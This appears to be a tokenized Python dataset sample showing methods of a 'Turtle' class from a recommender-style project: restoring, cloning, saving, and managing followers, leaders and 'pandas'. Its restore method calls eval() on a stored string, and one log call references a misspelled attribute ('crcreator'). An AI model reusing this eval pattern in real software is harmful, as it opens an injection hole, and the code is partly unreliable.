"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "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_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "default", "\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Tur", "tle_", ",_", "self_", ")_", "._", "\\u\\u", "default", "\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "pandas_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tig", "ress_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "mapping_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "description_", "=_", "cons_", "._", "DEF", "AUL", "T", "\\u", "EMPTY_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "p", "Pen", "alty", "_", "=_", "1.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "p", "EPS", "_", "=_", "1e-6_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "p", "Max", "Path", "Length_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "p", "Max", "Infer", "ence", "Steps_", "=_", "1000_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "entity", "Collecti", "on", "Name_", "=_", "cons_", "._", "DEF", "AUL", "T", "\\u", "EMPTY_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "requires_", "=_", "dict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "followers", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "leader_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "merge", "Queue_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "p", "Parti", "al", "Barri", "er_", "=_", "50_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "p", "Merge", "Clock_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "p", "Train", "Clock_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "restore", "\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Tur", "tle_", ",_", "self_", ")_", "._", "\\u\\u", "restore", "\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "[_", "panda", "_", "._", "setdefault_", "(_", "self_", "._", "CRE", "ATOR", "_", ",_", "self_", "._", "creator_", ")_", "for_", "panda", "_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[_", "panda", "_", "._", "setdefault_", "(_", "self_", "._", "NAME_", ",_", "self_", "._", "name_", ")_", "for_", "panda", "_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tig", "ress_", "._", "setdefault_", "(_", "self_", "._", "CRE", "ATOR", "_", ",_", "self_", "._", "creator_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tig", "ress_", "._", "setdefault_", "(_", "self_", "._", "NAME_", ",_", "self_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "pandas_", "=_", "cra", "ne_", "._", "panda", "Store_", "._", "load", "\\u", "or", "\\u", "create", "\\u", "all_", "(_", "self_", "._", "pandas_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tig", "ress_", "=_", "cra", "ne_", "._", "tig", "ress", "Store_", "._", "load", "\\u", "or", "\\u", "create_", "(_", "self_", "._", "tig", "ress_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "panda", "Ui", "ds_", "=_", "set_", "(_", "(_", "p_", "._", "uid_", "for_", "p_", "in_", "self_", "._", "pandas_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "inverted", "Mapping_", "=_", "{_", "tuple_", "(_", "v_", ")_", ":_", "k_", "for_", "k_", ",_", "v_", "in_", "self_", "._", "mapping_", "._", "iteritems_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "followers", "_", "=_", "set_", "(_", "self_", "._", "followers", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "FREQ", "UI", "RES", "\\u", "UI", "DS_", "in_", "self_", "._", "requires_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "uids_", "=_", "self_", "._", "requires_", "[_", "self_", "._", "FREQ", "UI", "RES", "\\u", "UI", "DS_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "uids_", ",_", "basestring_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "uids_", "=_", "eval_", "(_", "uids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[_", "panda", "_", "._", "add", "\\u", "features_", "(_", "uids_", ")_", "for_", "panda", "_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "FREQ", "UI", "RES", "\\u", "TUR", "TLE", "S_", "in_", "self_", "._", "requires_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tur", "tle", "s_", "=_", "self_", "._", "store_", "._", "load", "\\u", "or", "\\u", "create", "\\u", "all_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "{_", "'", "name", "'_", ":_", "t_", ",_", "'", "creat", "or", "'_", ":_", "self_", "._", "creator_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "t_", "in_", "self_", "._", "requires_", "[_", "self_", "._", "FREQ", "UI", "RES", "\\u", "TUR", "TLE", "S_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[_", "panda", "_", "._", "add", "\\u", "features_", "(_", "turtle_", "._", "get", "\\u", "panda", "\\u", "uids_", "(_", ")_", ")_", "for_", "turtle_", "in_", "tur", "tle", "s_", "for_", "panda", "_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "requires_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "error_", "(_", "'", "dependent", " ", "features", " ", "are", " ", "eit", "her", " ", "in", " ", "{", "0", "}", " ", "or", " ", "{", "1", "},", " ", "but", " ", "not", " ", "in", " ", "{", "2", "}'_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "FREQ", "UI", "RES", "\\u", "UI", "DS_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "FREQ", "UI", "RES", "\\u", "TUR", "TLE", "S_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "requires_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "generic_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "super_", "(_", "Tur", "tle_", ",_", "self_", ")_", "._", "generic_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "tig", "ress_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "[_", "self_", "._", "FT", "IG", "RESS", "_", "]_", "=_", "self_", "._", "tig", "ress_", "._", "signature_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "result_", "[_", "self_", "._", "FP", "AND", "AS_", "]_", "=_", "[_", "panda", "_", "._", "signature_", "(_", ")_", "for_", "panda", "_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "[_", "self_", "._", "FF", "OL", "LOWER", "S_", "]_", "=_", "list_", "(_", "self_", "._", "followers", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "inverted", "Map", "ping", " ", "is", " ", "created", " ", "from", " ", "mapping_", "\\u\\u\\uNL\\u\\u\\u_", "del_", "result_", "[_", "'", "inverted", "Map", "ping", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "result_", "[_", "'", "panda", "Ui", "ds", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "result_", "[_", "'", "merge", "Queue", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clone_", "(_", "self_", ",_", "user", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "super_", "(_", "Tur", "tle_", ",_", "self_", ")_", "._", "clone_", "(_", "user", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "panda", "Ui", "ds_", "=_", "set_", "(_", "self_", "._", "panda", "Ui", "ds_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "tig", "ress_", "=_", "self_", "._", "tig", "ress_", "._", "clone_", "(_", "user", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "pandas_", "=_", "[_", "p_", "._", "clone_", "(_", "user", "Name_", ")_", "for_", "p_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "requires_", "=_", "dict_", "(_", "self_", "._", "requires_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "obj_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Tur", "tle_", ",_", "self_", ")_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "tig", "ress_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "tig", "ress_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[_", "pa_", "._", "save_", "(_", ")_", "for_", "pa_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete_", "(_", "self_", ",_", "deep_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "super_", "(_", "Tur", "tle_", ",_", "self_", ")_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "tig", "ress_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "result_", "and_", "self_", "._", "tig", "ress_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "deep_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "result_", "and_", "[_", "pa_", "._", "delete_", "(_", ")_", "for_", "pa_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "follower", "_", "(_", "self_", ",_", "follower", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "follower", "_", "not_", "in_", "self_", "._", "followers", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "followers", "_", "._", "add_", "(_", "follower", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "store_", "._", "push", "\\u", "one", "\\u", "in", "\\u", "fields_", "(_", "self_", ",_", "{_", "'", "followers", "'_", ":_", "follower", "_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[_", "pa_", "._", "increment_", "(_", ")_", "for_", "pa_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "info_", "(_", "'", "user", " ", "{}", " ", "is", " ", "alr", "ead", "y", " ", "a", " ", "follower", " ", "of", " ", "{}'_", "._", "format_", "(_", "follower", "_", ",_", "self_", "._", "creator_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "leader_", "(_", "self_", ",_", "leader_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "leader_", "!=_", "leader_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "leader_", "=_", "leader_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "store_", "._", "update", "\\u", "one", "\\u", "in", "\\u", "fields_", "(_", "self_", ",_", "{_", "'", "leader", "'_", ":_", "leader_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "info_", "(_", "'", "user", " ", "{}", " ", "is", " ", "alr", "ead", "y", " ", "the", " ", "leader", " ", "of", " ", "{}'_", "._", "format_", "(_", "leader_", ",_", "self_", "._", "creator_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "remove", "\\u", "leader_", "(_", "self_", ",_", "leader_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "leader_", "and_", "leader_", "==_", "self_", "._", "leader_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "leader_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "store_", "._", "update", "\\u", "one", "\\u", "in", "\\u", "fields_", "(_", "self_", ",_", "{_", "'", "leader", "'_", ":_", "None_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "info_", "(_", "'", "user", " ", "{}", " ", "is", " ", "not", " ", "the", " ", "leader", " ", "of", " ", "{}", "@{", "}'_", "._", "format_", "(_", "leader_", ",_", "self_", "._", "name_", ",_", "self_", "._", "creator_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "remove", "\\u", "follower", "_", "(_", "self_", ",_", "follower", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "follower", "_", "in_", "self_", "._", "followers", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "followers", "_", "._", "remove_", "(_", "follower", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "store_", "._", "pull", "\\u", "one", "\\u", "in", "\\u", "fields_", "(_", "self_", ",_", "{_", "'", "followers", "'_", ":_", "follower", "_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[_", "pa_", "._", "decrease", "_", "(_", ")_", "for_", "pa_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "info_", "(_", "'", "user", " ", "{}", " ", "is", " ", "not", " ", "a", " ", "follower", " ", "of", " ", "{}", "@{", "}'_", "._", "format_", "(_", "follower", "_", ",_", "self_", "._", "name_", ",_", "self_", "._", "crc", "rea", "tor_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "require", "\\u", "panda", "_", "(_", "self_", ",_", "panda", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "has", "\\u", "panda", "_", "(_", "panda", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "error_", "(_", "'", "tur", "tle", " ", "can", " ", "not", " ", "depend", "s", " ", "on", " ", "its", "elf", " ", "{", "0", "}'_", "._", "format_", "(_", "panda", "_", "._", "\\u", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[_", "pa_", "._", "add", "\\u", "features_", "(_", "panda", "_", "._", "uid_", ")_", "for_", "pa_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "require_", "(_", "self_", ",_", "tur", "tle", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "name_", "==_", "tur", "tle", "Name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "error_", "(_", "'", "tur", "le", " ", "can", " ", "not", " ", "depend", " ", "on", " ", "its", "elf", " ", "{", "0", "}'_", "._", "format_", "(_", "tur", "tle", "Name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "turtle_", "=_", "self_", "._", "store_", "._", "load", "\\u", "or", "\\u", "create_", "(_", "{_", "'", "name", "'_", ":_", "tur", "tle", "Name_", ",_", "'", "creat", "or", "'_", ":_", "self_", "._", "creator_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[_", "panda", "_", "._", "add", "\\u", "features_", "(_", "turtle_", "._", "get", "\\u", "panda", "\\u", "uids_", "(_", ")_", ")_", "for_", "panda", "_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "panda", "\\u", "uids_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "pa_", "._", "uid_", "for_", "pa_", "in_", "self_", "._", "pandas_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "has", "\\u", "panda", "_", "(_", "self_", ",_", "panda", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "panda", "_", "._", "uid_", "in_", "self_", "._", "panda", "Ui", "ds_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "panda", "_", "(_", "self_", ",_", "panda", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "self_", "._", "has", "\\u", "panda", "_", "(_", "panda", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "pandas_", "._", "append_", "(_", "panda", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "panda", "Ui", "ds_", "._", "add_", "(_", "panda", "_", "._", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cra", "ne_", "._", "panda", "Store_", "._", "push", "\\u", "one", "\\u", "in", "\\u", "fields_", "(_", "self_", ",_", "{_", "'", "panda", "s", "'_", ":_", "panda", "_", "._", "\\u", "id_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "info_", "(_", "'", "panda", " ", "{", "0", "}", " ", "is", " ", "alr", "ead", "y", " ", "in", " ", "the", " ", "tur", "tle", " ", "{", "1", "}'_", "._", "format_", "(_", "panda", "_", "._", "name_", ",_", "self_", "._", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete", "\\u", "panda", "_", "(_", "self_", ",_", "panda", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "has", "\\u", "panda", "_", "(_", "panda", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "pandas_", "._", "remove_", "(_", "panda", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "panda", "Ui", "ds_", "._", "remove_", "(_", "panda", "_", "._", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cra", "ne_", "._", "panda", "Store_", "._", "pull", "\\u", "one", "\\u", "in", "\\u", "fields_", "(_", "self_", ",_", "{_", "'", "panda", "s", "'_", ":_", "panda", "_", "._", "\\u", "id_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "info_", "(_", "'", "panda", " ", "{", "0", "}", " ", "is", " ", "not", " ", "in", " ", "the", " ", "tur", "tle", " ", "{", "1", "}'_", "._", "format_", "(_", "panda", "_", "._", "name_", ",_", "self_", "._", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tur", "tle_", "(_", "base_", "._", "MON", "KO", "bject_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "predict_", "(_", "self_", ",_", "entity_", ",_", "fields_", "=_", "None_", ")_", ":_", 